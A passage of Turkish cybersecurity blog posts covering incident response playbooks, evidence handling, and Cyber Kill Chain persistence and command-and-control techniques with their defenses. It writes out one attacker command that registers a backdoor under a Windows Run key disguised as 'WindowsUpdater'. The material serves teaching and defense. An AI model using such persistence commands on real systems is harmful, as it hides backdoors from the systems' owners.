saldırının kök nedeni, kullanıcının zararlı makro içeren bir Excel dosyasını çalıştırmasıdır.</p><p>Antivirüs yazılımı, zararlı yazılımın yeni varyantını tespit edememiştir.</p><p><strong>IOC (Indicators of Compromise — Ele Geçirilme Göstergeleri)</strong>, saldırıyla ilişkili teknik izlerdir.</p><p>Örnek IOC bilgileri:</p><pre>Malware Hash: a1b2c3d4...<br>C2 IP: 192.0.2.55</pre><p><strong>4. Alınan Aksiyonlar (Actions Taken)</strong></p><ul><li>Etkilenen sunucu yeniden kuruldu.</li><li>Kullanıcı parolaları değiştirildi.</li><li>Saldırganın C2 IP adresi güvenlik duvarında engellendi.</li></ul><p><strong>5. İyileştirme Önerileri (Recommendations)</strong></p><ul><li>E-posta güvenlik ağ geçidi kuralları güçlendirilmeli.</li><li>Çalışanlara oltalama simülasyonu eğitimi verilmeli.</li><li>Uç noktalarda makro çalıştırma GPO ile sınırlandırılmalı.</li></ul><p><strong>GPO (Group Policy Object — Grup İlkesi Nesnesi)</strong>, Windows ortamında kullanıcı ve bilgisayar ayarlarının merkezi olarak yönetilmesini sağlayan mekanizmadır.</p><h3>Metrikler ve KPI’lar</h3><p><strong>KPI (Key Performance Indicator — Temel Performans Göstergesi)</strong>, belirli bir sürecin başarısını ölçmek için kullanılan göstergedir.</p><p>Olay müdahalesinde kullanılan başlıca metrikler:</p><ul><li><strong>False Positive Rate (Yanlış Pozitif Oranı):</strong> Oluşturulan güvenlik alarmlarının ne kadarının gerçek tehdit olmadığını gösterir.</li><li><strong>Detection Time (Tespit Süresi):</strong> Saldırının başlaması ile fark edilmesi arasında geçen süredir.</li><li><strong>Containment Time (Sınırlama Süresi):</strong> Saldırının tespit edilmesinden kontrol altına alınmasına kadar geçen süredir.</li></ul><p>Bu ölçümler sayesinde güvenlik ekiplerinin hangi alanlarda daha hızlı veya etkili müdahale etmesi gerektiği belirlenebilir.</p><h3>Döngünün Tamamlanması</h3><p>Olay sonrası değerlendirmelerde belirlenen eksikliklerin giderilmesi, olay müdahale sürecinin gelişmesini sağlar.</p><p>Örneğin saldırının geç tespit edildiği belirlenirse SIEM kuralları güncellenebilir. E-posta güvenliğinin yetersiz olduğu görülürse yeni filtreleme kuralları uygulanabilir.</p><p>Bu iyileştirmeler, olay müdahale yaşam döngüsünün ilk aşaması olan <strong>Preparation (Hazırlık)</strong> sürecine geri dönülmesini sağlar.</p><p>— — — —</p><h3>Olay Müdahale İçin Playbook</h3><p>Her siber güvenlik olayı farklı olabilir. Ancak Phishing (Oltalama), Malware (Zararlı Yazılım) ve DDoS (Dağıtık Hizmet Engelleme) gibi saldırılar genellikle benzer müdahale adımları gerektirir.</p><p><strong>Playbook (Müdahale Rehberi)</strong>, belirli bir güvenlik olayı karşısında hangi işlemlerin, hangi sırayla yapılacağını açıklayan adım adım rehberdir.</p><p><strong>Runbook (İşlem Rehberi)</strong> ise belirli teknik işlemlerin nasıl gerçekleştirileceğini daha ayrıntılı açıklayan yönergedir. Bu iki terim bazı kurumlarda birbirinin yerine kullanılabilir.</p><p>Playbook’ların amacı, saldırı sırasında zaman kaybetmeden önceden belirlenmiş prosedürleri uygulamaktır.</p><h3>Senaryo 1: Phishing (Oltalama) Analiz Playbook’u</h3><p><strong>Amaç:</strong> Şüpheli bir e-postanın zararlı olup olmadığını belirlemek ve kullanıcıları korumak.</p><h4><strong>1. Hazırlık ve Tetikleme (Trigger)</strong></h4><p><strong>Trigger (Tetikleyici)</strong>, olay müdahale sürecinin başlamasına neden olan bildirim veya durumdur.</p><p>Örneğin bir çalışanın şüpheli e-postayı bildirmesi ya da Email Gateway (E-posta Güvenlik Ağ Geçidi) üzerinden alarm oluşturulması.</p><p>Analizde kullanılabilecek araçlar:</p><ul><li><strong>Sandbox (İzole Test Ortamı):</strong> Şüpheli dosyaları güvenli ve izole bir ortamda incelemek için kullanılır. Cuckoo ve Joe Sandbox örnekleridir.</li><li><strong>Header Analyzer (E-posta Başlık Analiz Aracı):</strong> E-postanın gönderici ve kimlik doğrulama bilgilerini incelemek için kullanılır.</li><li><strong>URL Scanner (Bağlantı Tarama Aracı):</strong> Şüpheli web adreslerini analiz etmek için kullanılır.</li></ul><h4><strong>2. Analiz Adımları (Analysis Steps)</strong></h4><p><strong>A. Header Analizi</strong></p><p>E-postanın başlık bilgileri incelenir.</p><ul><li>Return-Path ve From adresleri kontrol edilir.</li><li>SPF, DKIM ve DMARC doğrulama sonuçları incelenir.</li><li>Doğrulama sonuçlarının PASS (Başarılı) veya FAIL (Başarısız) olduğu değerlendirilir.</li></ul><p>Örneğin gönderen adresi admin@paypal-support.com olarak görünüyor ancak e-postanın görünen adı PayPal Support.</p><p>Bu durumda alan adının gerçekten ilgili kuruma ait olup olmadığı araştırılmalıdır. Yalnızca görünen isme güvenilmez.</p><p><strong>B. Gövde ve Link Analizi</strong></p><p>E-postadaki bağlantılar doğrudan açılmadan kontrol edilir.</p><p>Bağlantının üzerine gelinerek (Hover) gerçek URL görüntülenebilir.</p><p><strong>URL (Uniform Resource Locator)</strong>, internetteki bir kaynağın adresidir.</p><p>Şüpheli bağlantılar VirusTotal veya URLScan.io gibi araçlarla incelenebilir.</p><p>Örneğin http://bit.ly/55f... gibi kısaltılmış adresler gerçek hedefi gizleyebileceğinden ayrıca kontrol edilmelidir.</p><p><strong>C. Ek (Attachment) Analizi</strong></p><p><strong>Attachment</strong>, e-postaya eklenen dosya anlamına gelir.</p><p>Şüpheli ekler güvenli bir Sandbox ortamında incelenir.</p><p>Dosyanın hash değeri hesaplanarak tehdit istihbaratı (Threat Intelligence) kaynaklarında araştırılabilir.</p><h4><strong>3. Müdahale (Containment &amp; Eradication)</strong></h4><p>E-postanın zararlı olduğu doğrulanırsa:</p><ul><li>Zararlı e-posta, Exchange veya Microsoft 365 üzerinden ilgili kullanıcıların posta kutularından kaldırılır.</li><li>Gönderen alan adı (Domain) ve IP adresi engellenebilir.</li><li>Proxy logları incelenerek bağlantıya tıklayan kullanıcılar belirlenir.</li><li>Etkilenen kullanıcıların parolaları sıfırlanır ve bilgisayarları taranır.</li></ul><p><strong>Purge (Toplu Silme):</strong> Belirlenen e-postaların posta kutularından kaldırılması işlemidir.</p><p><strong>Blacklist (Engelleme Listesi):</strong> Belirli adres, alan adı veya IP’lere erişimin engellenmesi için kullanılan listedir.</p><h3>Senaryo 2: Ransomware (Fidye Yazılımı) Playbook’u</h3><p><strong>Amaç:</strong> Fidye yazılımının yayılmasını engellemek ve verileri güvenli şekilde kurtarmak.</p><h4><strong>1. Tetikleme (Trigger)</strong></h4><p>Fidye yazılımı saldırısına işaret edebilecek durumlar:</p><ul><li>Kullanıcı ekranında fidye notunun görülmesi.</li><li>Dosya uzantılarının .locked veya .enc gibi biçimlere dönüşmesi.</li><li>SIEM üzerinde çok sayıda dosya değişikliği nedeniyle alarm oluşması.</li></ul><p><strong>High Frequency File Modification</strong>, kısa sürede çok sayıda dosyanın değiştirilmesi anlamına gelir.</p><p>Bu tür faaliyetler fidye yazılımı saldırısına işaret edebilir.</p><h4><strong>2. Sınırlama (Containment)</strong></h4><p>İlk amaç, fidye yazılımının diğer sistemlere yayılmasını engellemektir.</p><p><strong>A. Ağ Bağlantısını Kesme</strong></p><p>Etkilenen cihazın LAN bağlantısı kesilir veya Wi-Fi bağlantısı devre dışı bırakılır.</p><p><strong>LAN (Local Area Network)</strong>, yerel alan ağı anlamına gelir.</p><p>Sistemin hemen kapatılması RAM’deki delillerin kaybolmasına neden olabileceğinden, kapatma kararı olayın riskine göre verilmelidir. Aktif şifreleme devam ediyorsa hızlı müdahale öncelikli olabilir.</p><p><strong>B. Yanal Hareketi Engelleme</strong></p><p><strong>Lateral Movement (Yanal Hareket)</strong>, saldırganın ele geçirdiği sistemden aynı ağdaki diğer sistemlere geçmeye çalışmasıdır.</p><p>Switch veya Firewall üzerinden ilgili VLAN izole edilerek yayılma sınırlandırılabilir.</p><p><strong>C. Dosya Paylaşımlarını Kısıtlama</strong></p><p>Dosya sunucularındaki (File Server) paylaşımlar geçici olarak kapatılabilir veya salt okunur moda alınabilir.</p><p><strong>Read-Only (Salt Okunur):</strong> Dosyaların görüntülenmesine izin verilirken değiştirilmesinin engellenmesidir.</p><h4><strong>3. Analiz (Analysis)</strong></h4><p><strong>A. Fidye Yazılımı Varyantının Belirlenmesi</strong></p><p>Sisteme hangi fidye yazılımının bulaştığı araştırılır.</p><p>Örneğin WannaCry, Ryuk veya Conti gibi zararlı yazılım aileleri incelenebilir.</p><p><strong>ID Ransomware</strong>, fidye notları ve şifrelenmiş dosya örneklerinden yararlanarak fidye yazılımı türünü belirlemeye yardımcı olan bir hizmettir.</p><p><strong>B. Giriş Noktasının Belirlenmesi</strong></p><p><strong>Entry Point (Giriş Noktası)</strong>, saldırganın sisteme ilk erişim sağladığı yoldur.</p><p>Örneğin saldırı RDP, Phishing veya bir güvenlik açığından yararlanılarak gerçekleştirilmiş olabilir.</p><p>Bu giriş yolu belirlenip kapatılmazsa saldırgan yeniden sisteme erişebilir.</p><p><strong>C. Şifre Çözücü Kontrolü</strong></p><p><strong>Decryptor (Şifre Çözücü)</strong>, uygun koşullarda şifrelenmiş dosyaların çözülmesine yardımcı olan araçtır.</p><p>No More Ransom projesi üzerinden ilgili fidye yazılımı için ücretsiz bir şifre çözücü bulunup bulunmadığı araştırılabilir.</p><h4><strong>4. Kurtarma (Recovery)</strong></h4><p>Saldırı kontrol altına alındıktan sonra sistemlerin güvenli şekilde yeniden çalışması sağlanır.</p><ul><li><strong>Wipe (Diski Silme):</strong> Etkilenen sistemin depolama alanı temizlenerek güvenilir bir kurulum için hazırlanır.</li><li><strong>Yedekten Dönme:</strong> Saldırıdan önce alınmış ve temizliği doğrulanmış yedeklerden veriler geri yüklenir.</li><li><strong>Yedek Taraması:</strong> Geri yüklenen veriler güncel güvenlik araçlarıyla kontrol edilir.</li></ul><p>Kurtarma sırasında sistemlerin yeniden enfekte olmadığından emin olmak için gerekli kontroller yapılmalıdır.</p><h3>Sonuç</h3><p>Playbook’lar, güvenlik ekiplerinin olay sırasında önceden belirlenmiş adımlarla hareket etmesini sağlar.</p><p>Phishing olaylarında şüpheli e-postanın analiz edilmesi ve etkilenen kullanıcıların korunması ön plandayken, Ransomware olaylarında zararlı yazılımın yayılmasının durdurulması ve verilerin kurtarılması önceliklidir.</p><p>Bu rehberler kurumun sistemlerine, güvenlik politikalarına ve müdahale ihtiyaçlarına göre özelleştirilmelidir.</p><p>— —</p><h3>Yasal Süreçler ve İletişim</h3><p>Olay müdahalesi yalnızca teknik bir süreç değildir. Aynı zamanda hukuki yükümlülükleri ve kriz iletişimini de kapsar.</p><p>Bir güvenlik olayında delillerin yanlış toplanması hukuki süreçleri olumsuz etkileyebilir. Yanlış veya geç yapılan açıklamalar ise kurumun itibarına zarar verebilir.</p><h3>1. Delil Zinciri (Chain of Custody)</h3><p><strong>Chain of Custody (Delil Muhafaza Zinciri)</strong>, dijital delillerin toplandığı andan ilgili makamlara sunulmasına kadar kimler tarafından kullanıldığının, nerede saklandığının ve bütünlüğünün korunup korunmadığının kayıt altına alınmasıdır.</p><p>Örneğin saldırıya uğramış bir bilgisayarın hard diski delil olarak alındığında, bu diskin kim tarafından teslim alındığı ve hangi işlemlerden geçtiği belgelenmelidir.</p><p>Delilin kontrolsüz koşullarda saklanması veya kayıtların eksik tutulması, hukuki süreçte delilin güvenilirliğinin sorgulanmasına neden olabilir.</p><p><strong>Chain of Custody Formu</strong> şu bilgileri içermelidir:</p><ul><li><strong>Case ID (Olay Numarası):</strong> Delilin ilişkili olduğu olayın kimliği.</li><li><strong>Item Description (Delil Tanımı):</strong> Delilin marka, model ve seri numarası gibi bilgileri.</li><li><strong>Original Hash (Orijinal Özet Değer):</strong> Delilin alındığı andaki MD5 veya SHA-256 gibi hash değeri.</li><li><strong>Timestamp (Zaman Damgası):</strong> İşlemin gerçekleştiği tarih ve saat.</li><li><strong>From / To (Teslim Eden / Teslim Alan):</strong> Delilin kimden kime teslim edildiği ve imza bilgileri.</li></ul><p><strong>Hash</strong>, dijital verinin içeriğinden hesaplanan bir değerdir. Delilin hash değerinin karşılaştırılması, içeriğinin değişip değişmediğini kontrol etmeye yardımcı olur.</p><h3>2. Veri Koruma ve Bildirim Yükümlülükleri</h3><p>Kişisel veri ihlalleri gerçekleştiğinde kurumların ilgili yasal düzenlemelere uygun hareket etmesi gerekir.</p><p><strong>GDPR (General Data Protection Regulation — Genel Veri Koruma Tüzüğü)</strong>, Avrupa Birliği’nin kişisel verilerin korunmasına ilişkin düzenlemesidir.</p><p>GDPR kapsamında, yetkili denetim otoritesine bildirim gerektiren kişisel veri ihlalleri, mümkünse ihlalin öğrenilmesinden itibaren <strong>72 saat içerisinde</strong> bildirilmelidir.</p><p>Ancak her güvenlik olayı otomatik olarak bu bildirim yükümlülüğünü doğurmaz. Kişilerin hak ve özgürlüklerine yönelik risk değerlendirilir.</p><p>Farklı ülkelerde bildirim süreleri ve yasal yükümlülükler değişebilir.</p><p>Bu nedenle olay müdahale ekibinin <strong>Legal &amp; Compliance (Hukuk ve Uyumluluk)</strong> birimleriyle koordineli çalışması gerekir.</p><p>Bu süreçte önemli sorulardan biri şudur:</p><p><strong>Sızdırılan veriler arasında kişisel bilgiler bulunuyor mu?</strong></p><p><strong>PII (Personally Identifiable Information — Kişiyi Tanımlayabilir Bilgi)</strong>, bir kişinin doğrudan veya dolaylı olarak tanımlanmasını sağlayabilecek bilgilerdir.</p><p>Örneğin ad, soyad, kimlik numarası veya e-posta adresi belirli koşullarda bu kapsama girebilir.</p><h3>3. Kriz İletişimi (Crisis Communication)</h3><p>Bir siber saldırı sırasında kurumun çalışanlara, müşterilere ve yetkili makamlara nasıl bilgi vereceği önceden belirlenmelidir.</p><h4><strong>A. İç İletişim (Internal Communication)</strong></h4><p>Kurum içerisindeki bilgilendirme sürecidir.</p><p>Genellikle <strong>Need-to-Know (Bilmesi Gerekenler)</strong> ilkesi uygulanır.</p><p>Bu ilkeye göre hassas bilgiler, yalnızca görevleri gereği bu bilgilere ihtiyaç duyan kişilerle paylaşılır.</p><p>Amaç, yanlış bilgi yayılmasını önlemek ve olay müdahalesinin kontrollü şekilde yürütülmesini sağlamaktır.</p><h4><strong>B. Dış İletişim (External Communication)</strong></h4><p>Kurum dışındaki kişi ve kuruluşlarla yapılan iletişimdir.</p><ul><li><strong>Müşteriler:</strong> Güvenlik olayı hakkında doğru, anlaşılır ve gerekli bilgiler paylaşılmalıdır.</li><li><strong>Basın:</strong> Açıklamalar önceden belirlenmiş yetkili bir sözcü tarafından yapılmalıdır.</li><li><strong>Hukuki Makamlar:</strong> Gerektiğinde savcılık ve siber suçlarla mücadele birimleriyle iş birliği yapılmalıdır.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28d075c4f346" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2.2 — Cyber Kill Chain Son 3 Aşama: Installation, Command & Control, Actions on Objectives | Bölüm 2]]></title>
            <link>https://medium.com/@hifaoner/2-2-cyber-kill-chain-son-3-a%C5%9Fama-installation-command-control-actions-on-objectives-b%C3%B6l%C3%BCm-2-3a885c16438c?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a885c16438c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybercrime]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 12:31:03 GMT</pubDate>
            <atom:updated>2026-11-16T12:31:03.030Z</atom:updated>
            <content:encoded><![CDATA[<h3>2.2 — Cyber Kill Chain: Installation, Command &amp; Control ve Actions on Objectives | Bölüm 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uCYRuOW3aBFweLD4YfhUEw.png" /></figure><h3>5. Aşama — Kurulum (Installation)</h3><h3>A. Kurulum Nedir?</h3><p>Önceki aşama olan Sömürü (Exploitation) sırasında saldırgan bir güvenlik açığından yararlanarak sisteme erişim sağlamıştı.</p><p>Ancak bu erişim geçici olabilir. Bilgisayar kapatıldığında veya uygulama yeniden başlatıldığında bağlantı kaybolabilir.</p><p>Saldırgan ise erişimini kaybetmek istemez.</p><p>Bu nedenle sisteme yeniden erişebilmesini sağlayacak değişiklikler yapmaya çalışır. İşte buna Kurulum (Installation) aşaması denir.</p><p>Persistence (Kalıcılık): Saldırganın sistem yeniden başlatılsa bile erişimini sürdürmeye çalışmasıdır. <em>Persist devam etmek, sürdürmek anlamına gelir.</em></p><p>Backdoor (Arka Kapı): Sisteme normal erişim yollarının dışında erişim sağlayan gizli bir yöntem veya yazılımdır.</p><h3>Ev örneğiyle düşünelim</h3><p>Bir hırsız evin kapısındaki güvenlik açığından yararlanarak içeri girdi.</p><p>Bu, sömürü aşamasıydı.</p><p>Ancak evden çıktıktan sonra tekrar girmek istiyor. Bunun için kendisine gizli bir giriş yolu hazırlıyor. İşte bu da kurulum aşamasına benziyor.</p><h3>B. Yaygın Kalıcılık Yöntemleri</h3><p>Saldırganların kalıcılık sağlamak için kullandığı bazı yöntemler;</p><h4>1. Windows Kayıt Defteri (Registry Keys)</h4><p>Registry, Windows işletim sisteminin** çeşitli ayarlarını sakladığı kayıt sistemidir.**</p><p>Windows’ta bazı programlar, kullanıcı oturum açtığında otomatik çalışacak şekilde ayarlanabilir. Saldırganlar da bu özelliği kötüye kullanabilir.</p><p>En Sık Kullanılan Anahtarlar:</p><ul><li>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</li><li>HKLM\Software\Microsoft\Windows\CurrentVersion\Run</li><li>HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce</li></ul><p>Örnek Saldırgan Komutu (Terminal): Saldırgan, zararlı backdoor.exe dosyasını başlangıca eklemek için komut satırını kullanabilir:</p><pre>reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v &quot;WindowsUpdater&quot; /t REG_SZ /d &quot;C:\Users\Public\backdoor.exe&quot; /f</pre><p>Bu komut, backdoor.exe dosyasının her kullanıcı oturum açtığında &quot;WindowsUpdater&quot; adıyla çalışmasını sağlar.</p><h3>Run: Programların otomatik başlatılmasıyla ilişkili anahtardır.<br>RunOnce: Programların bir sonraki uygun oturum açılışında bir kez çalıştırılması için kullanılan anahtardır.</h3><h4>2. Zamanlanmış Görevler (Scheduled Tasks / Cron Jobs)</h4><p>Bu yöntemde saldırgan, zararlı yazılımın belirli bir zamanda veya belirli bir olay gerçekleştiğinde çalışmasını sağlar.</p><p>Örneğin bilgisayarına her gün belirli bir saatte otomatik çalışan bir program eklediğini düşün.</p><h4>Windows — Schtasks</h4><p>Windows’ta zamanlanmış görevler oluşturmak için kullanılan komut satırı aracıdır.</p><p>Linux — Cron Jobs : Cron, Linux sistemlerinde zamanlanmış görevleri yürütmek için kullanılan mekanizmadır.</p><p>Temel mantık: Saldırgan sistemde belirli zamanlarda otomatik çalışan bir görev oluşturarak erişimini sürdürmeye çalışır.</p><h4>3. Servis Oluşturma (Service Creation)</h4><p>Saldırganlar, zararlı yazılımlarını bir Windows servisi veya Linux daemon’u olarak kaydedebilirler. Servisler genellikle SYSTEM (veya root) yetkisiyle çalışır, bu da saldırgana yüksek yetkili kalıcı erişim sağlar.</p><p>Örneğin bazı hizmetler bilgisayar açıldığında otomatik olarak çalışmaya başlar. Saldırgan, zararlı yazılımını bir servis gibi kaydederek onun da otomatik çalışmasını sağlayabilir.</p><p><strong>Windows Service: Windows üzerinde arka planda çalışan hizmet.</strong><br><strong>Linux Daemon: Linux üzerinde arka planda çalışan hizmet veya süreç.</strong></p><p>Saldırganın amacı, zararlı yazılımı normal bir sistem hizmeti gibi çalıştırarak kalıcılık elde etmektir.</p><h4>4. Web Shell (Web Sunucuları İçin)</h4><p>Bu kısmı web development üzerinden düşünelim.</p><p>Diyelim ki PHP ile bir web sitesi geliştirdin. Web sitenin sunucusunda PHP dosyaları bulunuyor.</p><p>Saldırgan, bir güvenlik açığından yararlanarak sunucuya kendi PHP dosyasını yerleştirebiliyor. Bu dosya üzerinden sunucuya uzaktan komut göndermeye çalışıyor.</p><p>İşte buna Web Shell denir.</p><p>Web internet veya web ortamı, shell ise işletim sistemiyle komutlar aracılığıyla etkileşim kurmayı sağlayan arayüz anlamına gelir.</p><p>Saldırganın amacı, bu dosyayı kullanarak web sunucusuna daha sonra da komut gönderebilmektir.</p><p>Command Injection ile Web Shell arasındaki farkı düşünelim:</p><p>Command Injection’da saldırgan, uygulamada zaten bulunan güvenlik açığından yararlanarak komut çalıştırır.</p><p><strong>Web Shell’de ise sunucuya yerleştirilmiş bir dosya üzerinden komut çalıştırılması amaçlanır.</strong></p><h4>5. Başlangıç Klasörü (Startup Folder)</h4><p>Windows’ta belirli bir başlangıç klasörüne eklenen programlar, kullanıcı oturum açtığında otomatik çalışabilir.</p><p>Saldırganlar bunu da kalıcılık için kullanabilir. Örneğin zararlı yazılımın başlangıç klasörüne yerleştirildiğini düşün.</p><p>Kullanıcı bilgisayarına yeniden giriş yaptığında bu yazılım otomatik olarak çalışabilir. Bu yöntemin Registry yöntemine benzediğini fark etmiş olabilirsin.</p><p>İkisinin de amacı programı kullanıcı oturum açtığında otomatik çalıştırmak. Ancak kullandıkları Windows mekanizmaları farklıdır.</p><h4>6. DLL Hijacking (DLL Arama Sırasını Suistimal Etme)</h4><p>Önce DLL’nin ne olduğunu anlayalım.</p><p>DLL (Dynamic Link Library), Windows programlarının kullanabildiği ortak kod ve işlevleri barındıran dosya türüdür.</p><p>Bir programın çalışmak için belirli bir DLL dosyasına ihtiyaç duyduğunu düşün.</p><p>Program bu dosyayı belirli konumlarda arar.</p><p>Saldırgan, programın aradığı DLL ile aynı isme sahip zararlı bir dosya yerleştirebilirse bazı koşullarda program gerçek dosya yerine zararlı dosyayı yükleyebilir.</p><p>Buna DLL Hijacking denir.</p><p>Burada saldırgan, uygulamanın DLL dosyalarını bulma ve yükleme davranışını kötüye kullanır.</p><ol><li>Dropper: Zararlı yazılımı kendi içinde barındırır. Çalıştığında asıl zararlıyı diske “bırakır” (drop) ve çalıştırır. Dosya boyutu daha büyüktür.</li><li>Downloader: Çok küçüktür. Sadece internete bağlanıp asıl büyük zararlı yazılımı indirir ve çalıştırır.</li></ol><h3>Kurulum Aşamasında Savunma</h3><p>Kurulum aşamasında saldırgan genellikle sistemde dosya veya yapılandırma değişiklikleri yaptığı için bu işlemler tespit edilebilir.</p><h4>a. FIM (File Integrity Monitoring — Dosya Bütünlüğü İzleme)</h4><p>FIM, önemli dosyalarda gerçekleşen değişikliklerin izlenmesini sağlar.</p><p>Kritik sistem dosyalarındaki ve konfigürasyonlardaki değişiklikleri izleyen yazılımlar (örneğin Wazuh, Tripwire). Web dizinlerine yeni bir .php veya .aspx dosyası eklendiğinde alarm vermelidir.</p><h4>b. Kayıt Defteri İzleme</h4><p>Windows Registry üzerinde yapılan değişiklikler takip edilir.</p><p>Özellikle otomatik başlatmayla ilişkili Run ve RunOnce anahtarlarına yapılan şüpheli eklemeler incelenebilir.</p><h4>c. Least Privilege (En Az Yetki İlkesi)</h4><p>Bu ilke, kullanıcıların yalnızca ihtiyaç duydukları yetkilere sahip olmasını amaçlar.</p><p>Örneğin normal bir kullanıcının sürekli yönetici yetkileriyle çalışmaması, saldırganın sistemde yüksek yetki gerektiren değişiklikler yapmasını zorlaştırabilir.</p><h4>d. AppLocker ve Whitelisting</h4><p>Sadece onaylı yazılımların ve scriptlerin çalışmasına izin vermek, saldırganın backdoor.exe dosyasını diske kaydetse bile çalıştıramamasını sağlar.</p><h3>6. Aşama — Komuta ve Kontrol (C2)</h3><h3>A. C2 Nedir?</h3><p>Önceki bölümlerle bağlantısını kuralım: Sömürü aşamasında saldırgan güvenlik açığından yararlandı, kurulum aşamasında erişimini kalıcı hâle getirmeye çalıştı. Şimdi ise ele geçirdiği sistemle iletişim kurup onu uzaktan yönetmek istiyor.</p><p>C2 (Command and Control), saldırganın ele geçirdiği sistemle iletişim kurarak onu uzaktan yönettiği aşamadır.</p><p>Peki saldırgan neden bir iletişim kanalına ihtiyaç duyar?</p><p>Çünkü sisteme girmiş olması, onu sürekli yönetebildiği anlamına gelmez. Yeni komutlar göndermek, veri almak veya başka sistemlere erişmeye çalışmak için bağlantı kurması gerekir.</p><h3>Ev örneğiyle düşünelim</h3><p>Bir hırsızın eve girdiğini ve içeride kendisine yardımcı olacak bir cihaz bıraktığını düşün.</p><p>Hırsız artık evde değil ama bu cihazla uzaktan iletişim kurabiliyor. Cihaza “Bana bilgi gönder.” veya “Şu işlemi yap.” diyebiliyor.</p><p>İşte C2 bağlantısı da buna benzer.</p><p>Kurulum: Saldırgan sistemde kalmasını sağlayacak mekanizmayı oluşturur.<br>C2: Bu mekanizma üzerinden sistemle iletişim kurar ve komut gönderir.<br>C2 bağlantısı kesilirse saldırganın uzaktan kontrolü kaybolabilir. Ancak kendi başına çalışan zararlı yazılımlar faaliyetlerini sürdürebilir.</p><h3>B. C2 İletişim Yöntemleri</h3><p>Saldırganlar, zararlı <strong>yazılımla aralarındaki iletişimin normal ağ trafiğinden ayırt edilmesini zorlaştırmak ister.</strong></p><p>Bu nedenle kurumlarda yaygın kullanılan iletişim protokollerinden yararlanabilirler.</p><h4>1. HTTP / HTTPS (Web Trafiği)</h4><p>HTTP ve HTTPS, web iletişiminde kullanılan protokollerdir.</p><p>Saldırgan, ele geçirdiği bilgisayardaki zararlı yazılımın kendi sunucusuna düzenli istekler göndermesini sağlayabilir.</p><p>Bu sunucuya C2 Server (Komuta ve Kontrol Sunucusu) denir.</p><h4>Beaconing Nedir?</h4><p>Beacon, işaret ışığı veya işaret veren cihaz anlamına gelir.</p><p>Beaconing, zararlı yazılımın belirli aralıklarla C2 sunucusuna bağlanmasıdır.</p><p>Örneğin zararlı yazılım her 60 saniyede bir şu soruyu soruyor: “Yapmam gereken yeni bir işlem var mı?”</p><p>Normalde bir web tarayıcısı da benzer HTTP istekleri gönderebilir. Saldırgan bu benzerlikten yararlanarak iletişimini normal web trafiği gibi göstermeye çalışır.</p><p>Base64: Verileri belirli karakterlerle temsil eden bir kodlama biçimidir.</p><p>Yani dışarıdan normal bir web iletişimi gibi görünen bağlantının içerisinde komut aktarımı gerçekleşebilir.</p><h3>2. DNS Tunneling</h3><p>Önce DNS’i anlayalım.</p><p>DNS (Domain Name System), alan adlarının IP adresleriyle ilişkilendirilmesini sağlayan sistemdir.</p><p>Örneğin bir web sitesine girmek istediğinde bilgisayarın, alan adının hangi IP adresiyle ilişkili olduğunu öğrenmek için DNS kullanabilir.</p><p>Tunneling ise tünelleme anlamına gelir.</p><p>DNS Tunneling, verilerin DNS sorguları içerisine yerleştirilerek aktarılması yöntemidir.</p><p>DNS sorgusu saldırganın kontrolündeki yetkili DNS sunucusuna ulaştığında saldırgan sorgunun içerisindeki bilgiyi görebilir.</p><p>Temel mantık: Normalde alan adı çözümlemek için kullanılan DNS iletişimi, veri aktarmak amacıyla kötüye kullanılıyor.</p><h3>3. Diğer İletişim Protokolleri; ICMP (Internet Control Message Protocol)</h3><p>Ağ iletişimindeki kontrol ve hata bildirimleriyle ilgili bir protokoldür. Ping işlemlerinde de kullanılır.</p><p>Metninde saldırganların ICMP paketlerinin içerisine veri gizleyebildiği anlatılıyor.</p><p>Örneğin zararlı yazılım, saldırganın kontrol ettiği bir Telegram mesajını veya Google Drive dosyasını kontrol ederek komut alabilir.</p><p>Bu iletişimleri tespit etmek zorlaşabilir çünkü bağlantı, normalde kullanılan meşru hizmetlere yapılıyor olabilir.</p><h3>4. Beaconing ve Jitter</h3><p>Bu kadar düzenli bağlantılar, güvenlik sistemlerinin dikkatini çekebilir. Saldırgan bunun yerine bağlantı zamanlarını değiştirebilir.</p><ul><li>Düzenli Beacon: Her 60 saniyede bir tam zamanında bağlantı kurar. Bu, SIEM sistemleri tarafından matematiksel analizle kolayca tespit edilebilir.</li><li>Jitter (Sapma): Tespit edilmeyi zorlaştırmak için saldırganlar “Jitter” ekler. Örneğin %20 Jitter ile 60 saniyelik bir beacon, 48 ile 72 saniye arasında rastgele bir zamanda bağlanır.</li></ul><h3>5. DGA (Domain Generation Algorithms)</h3><p>DGA, alan adı üretme algoritmaları anlamına gelir.</p><p>Bir zararlı yazılımın sürekli aynı C2 alan adına bağlandığını düşün.</p><p>Güvenlik ekibi bu alan adını tespit edip engellerse saldırganın iletişim kanalı kesilebilir. Saldırgan bu duruma karşı DGA kullanabilir.</p><p>DGA sayesinde zararlı yazılım her gün çok sayıda alan adı oluşturabilir.</p><p>Saldırgan bunlardan yalnızca birini kaydedip aktif hâle getirebilir.</p><p>Buradaki mantık şu:</p><p>Tek bir alan adı engellendiğinde saldırgan başka bir alan adı üzerinden iletişim kurmaya çalışabilir. Bu durum, güvenlik ekiplerinin iletişim kanallarını engellemesini zorlaştırır.</p><h3>C2 Aşamasında Tespit ve Savunma</h3><p>Bu aşamada saldırganın sistemle iletişim kurması gerektiği için ağ trafiği önemli izler taşıyabilir.</p><h4>A. Proxy ve Firewall Log Analizi</h4><p><strong>Proxy: Ağ isteklerinde aracı olarak görev yapabilen sistem.</strong></p><p><strong>Firewall: Ağ trafiğini güvenlik kurallarına göre kontrol eden güvenlik duvarı.</strong></p><p>Güvenlik ekipleri şu durumlara dikkat edebilir:</p><ul><li>Bilinmeyen veya yeni kaydedilen alan adlarına bağlantılar</li><li>Gece saatlerinde düzenli gerçekleşen ağ trafiği</li><li>Çok uzun süren 